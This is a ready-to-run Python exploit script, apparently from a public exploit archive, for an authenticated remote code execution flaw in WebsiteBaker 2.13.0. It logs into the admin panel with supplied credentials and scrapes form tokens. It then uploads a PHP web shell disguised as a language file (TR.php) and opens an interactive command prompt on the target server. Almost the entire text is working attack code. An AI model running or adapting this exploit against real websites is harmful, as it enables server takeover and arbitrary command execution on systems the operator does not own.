WebsiteBaker 2.13.0 - Remote Code Execution (RCE) (Authenticated)

# Exploit Title: WebsiteBaker 2.13.0 - Remote Code Execution (RCE) (Authenticated)
# Date: 18-09-2021
# Exploit Author: Halit AKAYDIN (hLtAkydn)
# Vendor Homepage: https://websitebaker.org/
# Software Link: http://wiki.websitebaker.org/doku.php/en/downloads
# Version: 2.13.0
# Category: Webapps
# Tested on: Linux/Windows

# WebsiteBaker Open Source Content Management
# Includes an endpoint that allows remote access
# Language page misconfigured, causing vulnerability
# User information with sufficient permissions is required.
# I had to write a long script to bypass some security measures.

# Example: python3 exploit.py -u http://example.com -l admin -p Admin123
#		   python3 exploit.py -h


from bs4 import BeautifulSoup
from time import sleep
import requests
import argparse


def main():
	parser = argparse.ArgumentParser(
		description='WebsiteBaker 2.13.0 - Remote Code Execution (RCE) (Authenticated)'
	)
	parser.add_argument('-u', '--host', type=str, required=True)
	parser.add_argument('-l', '--login', type=str, required=True)
	parser.add_argument('-p', '--password', type=str, required=True)
	args = parser.parse_args()
	print("\nWebsiteBaker 2.13.0 - Remote Code Execution (RCE) (Authenticated)",
		  "\nExploit Author: Halit AKAYDIN (hLtAkydn)\n")
	sleep(2)
	find_default(args)



def find_default(args):
	#Check http or https
	if args.host.startswith(('http://', 'https://')):
		print("[?] Check Url...\n")
		args.host = args.host
		if args.host.endswith('/'):
			args.host = args.host[:-1]
		sleep(2)
	else:
		print("\n[?] Check Adress...\n")
		args.host = "http://" + args.host
		args.host = args.host
		if args.host.endswith('/'):
			args.host = args.host[:-1]
		sleep(2)


	# Check Host Status
	try:
		response = requests.get(args.host)
		if response.status_code != 200:
			print("[-] Address not reachable!\n")
			sleep(2)
			exit(1)

	except requests.ConnectionError as exception:
		print("[-] Address not reachable!\n")
		sleep(2)
		exit(1)

	exploit(args)

	url = args.host + "/admin/login/index.php"
	headers = {
		"Upgrade-Insecure-Requests": "1",
		"User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:77.0) Gecko/20190101 Firefox/77.0",
		"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
		"Referer": args.host + "/admin/addons/index.php",
		"Accept-Encoding": "gzip, deflate",
		"Accept-Language": "en-US,en;q=0.9",
		"Connection": "close"
	}
	response = requests.get(url, headers=headers)
	for cookie in response.cookies:
		phpsessid_name = cookie.name

	soup = BeautifulSoup(response.text, 'html.parser')
	input_hidden_username = (soup.find_all("input", type="hidden")[1].get("value"))
	input_hidden_password = (soup.find_all("input", type="hidden")[2].get("value"))
	input_hidden_name = (soup.find_all("input", type="hidden")[3].get("name"))
	input_hidden_value = (soup.find_all("input", type="hidden")[3].get("value"))


	login(args, phpsessid_name, input_hidden_username, input_hidden_password, input_hidden_name, input_hidden_value)



def login(args, phpsessid_name, input_hidden_username, input_hidden_password, input_hidden_name, input_hidden_value):

	session = requests.session()

	url = args.host + "/admin/login/index.php"
	cookies = {
		"klaro": "{'klaro':true,'mathCaptcha':true}"
	}

	headers = {
		"Cache-Control": "max-age=0",
		"Upgrade-Insecure-Requests": "1",
		"Origin": args.host,
		"Content-Type": "application/x-www-form-urlencoded",
		"User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:77.0) Gecko/20190101 Firefox/77.0",
		"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
		"Referer": args.host + "/admin/login/index.php",
		"Accept-Encoding": "gzip, deflate",
		"Accept-Language": "en-US,en;q=0.9", "Connection": "close"
	}

	data = {
		"url": '',
		"username_fieldname": input_hidden_username,
		"password_fieldname": input_hidden_password,
		input_hidden_name: input_hidden_value,
		input_hidden_username : args.login,
		input_hidden_password : args.password,
		"submit": ''
	}


	response = session.post(url, headers=headers, cookies=cookies, data=data, allow_redirects=False)
	new_cookie = (response.cookies.get(phpsessid_name))

	if response.headers.get("Location") == args.host + "/admin/start/index.php":
		print("[+] Success Login...\n")
		sleep(2)
		check_pers(args, phpsessid_name, new_cookie)
	else:
		print("[-] Login Failed...\n")
		print("Your username or password is incorrect.")
		sleep(2)


def check_pers(args, phpsessid_name, new_cookie):
	url = args.host + "/admin/languages/install.php"
	cookies = {
		"klaro": "{'klaro':true,'mathCaptcha':true}",
		phpsessid_name : new_cookie
	}
	headers = {
		"Cache-Control": "max-age=0",
		"Upgrade-Insecure-Requests": "1",
		"User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:77.0) Gecko/20190101 Firefox/77.0",
		"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
		"Accept-Encoding": "gzip, deflate",
		"Accept-Language": "en-US,en;q=0.9",
		"Connection": "close"
	}
	response = requests.get(url, headers=headers, cookies=cookies)
	soup = BeautifulSoup(response.text, 'html.parser')

	if (soup.find_all("title")[0].text == "Enter your website title » Administration - Add-ons"):
		find_token(args, phpsessid_name, new_cookie)
	else:
		print("[!] Unauthorized user!\n\n")
		print("Requires user with language editing permissions.")
		sleep(2)
		exit(1)


def find_token(args, phpsessid_name, new_cookie):
	url = args.host + "/admin/languages/index.php"
	cookies = {
		"klaro": "{'klaro':true,'mathCaptcha':true}",
		phpsessid_name : new_cookie
	}
	headers = {
		"Cache-Control": "max-age=0",
		"Upgrade-Insecure-Requests": "1",
		"User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:77.0) Gecko/20190101 Firefox/77.0",
		"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
		"Accept-Encoding": "gzip, deflate",
		"Accept-Language": "en-US,en;q=0.9",
		"Connection": "close"
	}
	response = requests.get(url, headers=headers, cookies=cookies)
	soup = BeautifulSoup(response.text, 'html.parser')
	token_hidden_name = soup.find_all("input", type="hidden")[5].get("name")
	token_hidden_value = soup.find_all("input", type="hidden")[5].get("value")


	if soup.find_all("option")[1].text == "":
		exploit(args)
	elif soup.find_all("option")[20].text == "Türkçe":
		token_lang = soup.find_all("option")[20].get("value")
		uninstall_lang(args, phpsessid_name, new_cookie, token_hidden_name, token_hidden_value, token_lang)
	else:
		install_lang(args, phpsessid_name, new_cookie, token_hidden_name, token_hidden_value)
		pass


def install_lang(args, phpsessid_name, new_cookie, token_hidden_name, token_hidden_value):
	url = args.host + "/admin/languages/install.php"
	cookies = {
		"klaro": "{'klaro':true,'mathCaptcha':true}",
		 phpsessid_name: new_cookie
	}

	headers = {
		"Cache-Control": "max-age=0",
		"Upgrade-Insecure-Requests": "1",
		"Origin": args.host,
		"Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryCyjXuM2KSAsqjze1",
		"User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:77.0) Gecko/20190101 Firefox/77.0",
		"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
		"Referer": args.host + "/admin/languages/index.php",
		"Accept-Encoding": "gzip, deflate",
		"Accept-Language": "en-US,en;q=0.9",
		"Connection": "close"
	}

	data = "------WebKitFormBoundaryCyjXuM2KSAsqjze1\r\nContent-Disposition: form-data; name=\"action\"\r\n\r\ninstall\r\n------WebKitFormBoundaryCyjXuM2KSAsqjze1\r\nContent-Disposition: form-data; name=\"advanced\"\r\n\r\n\r\n------WebKitFormBoundaryCyjXuM2KSAsqjze1\r\nContent-Disposition: form-data; name=\""+token_hidden_name+"\"\r\n\r\n"+token_hidden_value+"\r\n------WebKitFormBoundaryCyjXuM2KSAsqjze1\r\nContent-Disposition: form-data; name=\"userfile\"; filename=\"TR.php\"\r\nContent-Type: application/x-php\r\n\r\n<?php system($_GET['cmd']); ?>\n\r\n------WebKitFormBoundaryCyjXuM2KSAsqjze1\r\nContent-Disposition: form-data; name=\"submit\"\r\n\r\nInstall\r\n------WebKitFormBoundaryCyjXuM2KSAsqjze1\r\nContent-Disposition: form-data; name=\"overwrite\"\r\n\r\ntrue\r\n------WebKitFormBoundaryCyjXuM2KSAsqjze1--\r\n"
	response = requests.post(url, headers=headers, cookies=cookies, data=data)
	soup = BeautifulSoup(response.text, 'html.parser')
	# print(soup.find_all("div", class_="w3-text-grey w3--medium"))
	print("[!] Installing Vuln Lang File!\n")
	sleep(2)
	find_token(args, phpsessid_name, new_cookie)



def uninstall_lang(args, phpsessid_name, new_cookie, token_hidden_name, token_hidden_value, token_lang):

	url = args.host + "/admin/languages/uninstall.php"
	cookies = {
		"klaro": "{'klaro':true,'mathCaptcha':true}",
		phpsessid_name: new_cookie
	}
	headers = {
		"Cache-Control": "max-age=0",
		"Upgrade-Insecure-Requests": "1",
		"Origin": args.host,
		"Content-Type": "application/x-www-form-urlencoded",
		"User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:77.0) Gecko/20190101 Firefox/77.0",
		"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
		"Referer": args.host + "/admin/languages/index.php",
		"Accept-Encoding": "gzip, deflate",
		"Accept-Language": "en-US,en;q=0.9",
		"Connection": "close"
	}
	data = {
		"action": "uninstall",
		"advanced": '',
		token_hidden_name : token_hidden_value,
		"file": token_lang,
		"submit": "Uninstall"
	}
	response = requests.post(url, headers=headers, cookies=cookies, data=data)
	soup = BeautifulSoup(response.text, 'html.parser')
	print("[!] Uninstall Lang File!\n")
	# print(soup.find_all("div", class_="w3-text-grey w3--medium"))
	sleep(2)
	find_token(args, phpsessid_name, new_cookie)



def exploit(args):
	response = requests.get(args.host + "/languages/TR.php?cmd=whoami")
	if response.status_code == 200:
		print("[*] Exploit File Exists!\n")
		sleep(2)
		print("[+] Exploit Done!\n")
		sleep(2)

		while True:
			cmd = input("$ ")
			url = args.host + "/languages/TR.php?cmd=" + cmd
			headers = {
				"Upgrade-Insecure-Requests": "1",
				"User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:77.0) Gecko/20190101 Firefox/77.0"
			}

			response = requests.post(url, headers=headers, timeout=5)

			if response.text == "":
				print(cmd + ": command not found\n")
			else:
				print(response.text)

if __name__ == '__main__':
	main()